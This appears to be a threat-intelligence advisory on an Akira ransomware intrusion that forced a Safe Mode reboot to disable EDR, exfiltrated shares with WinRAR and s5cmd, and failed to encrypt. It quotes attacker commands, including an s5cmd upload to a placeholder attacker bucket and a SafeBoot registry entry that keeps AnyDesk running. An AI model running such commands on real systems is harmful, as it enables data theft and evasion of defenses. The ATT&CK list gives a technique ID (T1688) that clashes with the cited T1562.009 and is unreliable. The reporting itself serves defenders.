# Akira Ransomware Affiliate Forces Windows Safe Mode Reboot to Disable EDR, Exfiltrates Data via AnyDesk/WinRAR/s5cmd but Fails to Encrypt

> An Akira ransomware affiliate breached an exposed SonicWall SSL VPN account lacking MFA via credential spraying, then forced the compromised host to reboot into Safe Mode with Networking to disable the Huntress EDR agent and Microsoft Defender real-time protection for roughly 90 minutes. The attacker persisted AnyDesk through the SafeBoot registry, archived mapped file shares with WinRAR, and exfiltrated the data to an attacker-controlled S3 bucket with s5cmd, but the akira.exe payload crashed from virtual-memory exhaustion inside the resource-constrained Safe Mode environment and was quarantined by a subsequent Defender scan.

- **Published:** 2026-08-13T00:00:00Z
- **Last reviewed:** 2026-08-13T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-2010
- **ID:** TL-2026-2010
- **Severity:** HIGH
- **Category:** RANSOMWARE
- **Status:** ACTIVE
- **Actor:** Akira
- **Detections:** 9 · **IOCs:** 10 (full data via the Threadlinqs MCP server — Purple tier)
- **CVEs:** CVE-2024-40766

## Description

On 2026-08-04, an Akira ransomware affiliate compromised a SonicWall SSL VPN account that was not protected by multi-factor authentication. Huntress observed a burst of failed logins from several external IP addresses beginning at 03:45 UTC (a credential-spraying pattern against multiple usernames), followed roughly seven minutes later by a successful authentication at 03:52:42 UTC from source IP 72.23.77.35 using valid, unprotected credentials.

About two hours after initial access, the operator pivoted via RDP to the victim's domain controller and ran PowerShell-based Active Directory reconnaissance: Get-ADUser and Get-ADComputer queries (with $formatenumerationlimit set to -1 to defeat PowerShell's default multi-valued-attribute truncation) were used to dump full user and computer inventories to C:\ProgramData\AdUsers.txt and C:\ProgramData\AdComp.txt.

The affiliate then staged and exfiltrated data before attempting encryption: mapped file shares were archived with WinRAR (WinRAR.exe a -ep1 -scul -r0 -iext -imon1 -- . against multiple share paths) and uploaded to an attacker-controlled Amazon S3 bucket using the s5cmd command-line utility (s5cmd cp --sp "<staging_path>" s3://<attacker-bucket>/). Microsoft Defender flagged the s5cmd binary (SHA256 e2356c742c74cce5c6b6100162d0071a3f71e2fed2ed895c2011061a95b3299a) as HackTool:Win32/SSCmd!dha. For durable remote access, the affiliate installed AnyDesk as a Windows service and added it to the Safe Mode driver/service allow-list via reg.exe add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDesk /ve /d Service, ensuring AnyDesk would still start if the host rebooted into Safe Mode.

At 06:29:21 UTC the attacker ran msconfig.exe to force a reboot into Safe Mode with Networking (boot flags NOEXECUTE=OPTOUT SAFEBOOT:NETWORK; confirmed by Kernel-Boot event 27 and Kernel-General event 12 recording BootMode=2). Because most third-party services -- including the Huntress EDR agent and Microsoft Defender's real-time protection -- do not load in Safe Mode, this single action blinded the host's defenses; Huntress stated this was the first time it had observed Safe Mode abuse in an Akira intrusion specifically, noting Snatch and AvosLocker affiliates had used the same defense-evasion trick previously. At 06:34:29 UTC the affiliate executed the akira.exe ransomware payload (Microsoft Defender signature Ransom:Win32/Akira.B!ibt). Because Safe Mode boots with a constrained virtual-memory configuration, the payload spawned a burst of child processes at 06:36:21 UTC and almost immediately began throwing 'Virtual Memory Minimum Too Low' / 'Out of Virtual Memory' errors, with a companion PowerShell error ('New guard page for stack cannot be created'); no files were encrypted. At 07:43:50 UTC, a Windows Defender scheduled scan detected the dormant akira.exe (Defender's own real-time engine was still disabled by Safe Mode, so on-access blocking did not fire). The attacker rebooted the host back to normal Windows mode at 08:10:38 UTC -- restoring Defender real-time protection -- and the scheduled-scan detection was quarantined at 08:12:28 UTC. Despite the encryption failure, the affiliate had already exfiltrated credentials and file-share contents in the roughly five hours before the Safe Mode reboot, leaving the victim exposed to data-extortion regardless of the failed encryption run.

This intrusion sits within Akira's broader, well-documented pattern of targeting internet-facing SonicWall SSL VPN appliances for initial access; a related, actively exploited SonicWall SonicOS improper-access-control flaw (CVE-2024-40766, CVSS 9.8, on CISA's Known Exploited Vulnerabilities catalog) has separately been used by Akira-linked actors to harvest SonicWall SSL VPN credentials and one-time-passcode seeds, though Huntress's telemetry for this specific incident attributes access to a credential-sprayed, MFA-less VPN account rather than to a confirmed exploitation of that CVE. Akira is a ransomware-as-a-service operation active since 2023, tracked under multiple vendor aliases (Secureworks GOLD SAHARA, Palo Alto Unit42 Howling Scorpius, CrowdStrike PUNK SPIDER, Microsoft Storm-1567) and reportedly linked to former Conti personnel; it is one of the most prolific ransomware operations by victim count and ransom proceeds through 2025-2026, running a double-extortion model of data theft plus encryption.

## MITRE ATT&CK

- T1110.003 Password Spraying
- T1078 Valid Accounts
- T1021.001 Remote Desktop Protocol
- T1059.001 PowerShell
- T1087.002 Domain Account
- T1018 Remote System Discovery
- T1039 Data from Network Shared Drive
- T1560.001 Archive via Utility
- T1567.002 Exfiltration to Cloud Storage
- T1688 Safe Mode Boot
- T1219 Remote Access Tools
- T1543.003 Windows Service

## Sources

- [Akira hackers disable EDR with Safe Mode, steal data but fail to encrypt](https://www.bleepingcomputer.com/news/security/akira-hackers-disable-edr-with-safe-mode-steal-data-but-fail-to-encrypt/)
- [Akira Hits Safe Mode: Ransomware Rebooting Around EDR](https://www.huntress.com/blog/akira-hits-safe-mode-ransomware-rebooting-around-edr)
- [Akira Ransomware Reboots Windows Into Safe Mode to Disable EDR and Microsoft Defender](https://gbhackers.com/akira-ransomware-reboots-windows/)
- [First Akira Safe Mode attack disables endpoint detection and response but fails to encrypt, Huntress says](https://siliconangle.com/2026/08/12/first-akira-safe-mode-attack-disables-edr-fails-encrypt-huntress-says/)
- [Akira Ransomware Attack Exploits Safe Mode to Evade Security](https://cypro.co.uk/insights/cyber-bulletins/akira-ransomware-attack-exploits-safe-mode-to-evade-security/)
- [Akira ransomware attacker uses Safe Mode reboot to evade EDR](https://www.scworld.com/news/akira-ransomware-attacker-uses-safe-mode-reboot-to-evade-edr)
- [Impair Defenses: Safe Mode Boot, Sub-technique T1562.009](https://attack.mitre.org/techniques/T1562/009/)
- [CISA confirms that SonicWall vulnerability is getting exploited (CVE-2024-40766)](https://www.helpnetsecurity.com/2024/09/10/cve-2024-40766-exploited/)
- [Akira Ransomware Threat Actor Profile - Tactics, Techniques, and Updates](https://www.huntress.com/threat-library/threat-actors/akira)
- [Akira Ransomware Group Utilizing SonicWall Devices for Initial Access](https://www.rapid7.com/blog/post/dr-akira-ransomware-group-utilizing-sonicwall-devices-for-initial-access/)
- [#StopRansomware: Akira Ransomware](https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-109a)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-2010